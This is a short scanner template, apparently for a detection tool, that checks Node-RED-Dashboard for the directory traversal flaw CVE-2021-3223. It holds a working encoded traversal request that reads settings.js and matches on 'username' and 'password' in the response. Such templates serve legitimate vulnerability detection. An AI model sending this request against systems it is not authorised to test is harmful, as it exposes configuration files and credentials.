CVE-2021-3223: Node RED Dashboard - Directory Traversal

id: CVE-2021-3223

info:
  name: Node RED Dashboard - Directory Traversal
  author: Print1n
  severity: high
  description: |-
    Node-RED-Dashboard before 2.26.2 allows ui_base/js/..%2f directory traversal to read files.
  reference:
    - https://www.tenable.com/security/research/tra-2021-33
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3223
  tags: cve,cve2021,nodered,traversal
  created: 2023/06/23

rules:
  r0:
    request:
      method: GET
      path: /ui_base/js/..%2f..%2f..%2f..%2fsettings.js
    expression: response.status == 200 && response.body.bcontains(bytes("Node-RED web server is listening")) && response.body.bcontains(bytes("username")) && response.body.bcontains(bytes("password"))
expression: r0()